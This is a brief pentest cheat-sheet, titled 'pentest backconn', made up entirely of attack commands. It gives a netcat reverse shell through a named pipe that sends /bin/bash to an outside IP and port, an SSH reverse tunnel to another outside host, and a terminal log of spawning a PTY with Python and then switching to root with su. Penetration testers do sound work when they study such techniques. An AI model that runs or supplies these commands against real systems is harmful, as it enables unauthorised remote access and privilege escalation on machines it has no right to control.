pentest backconn

mknod backpipe p && netcat 191.229.67.2 3773  0<backpipe | /bin/bash 1>backpipe &
ssh -R 1522:localhost:22 admin@191.209.139.13
sh-3.2$ su -
su: must be run from a terminal
sh-3.2$ python -c ‘import pty; pty.spawn(“/bin/sh”)’
sh-3.2$ su -
su -
Password:
localhost ~ #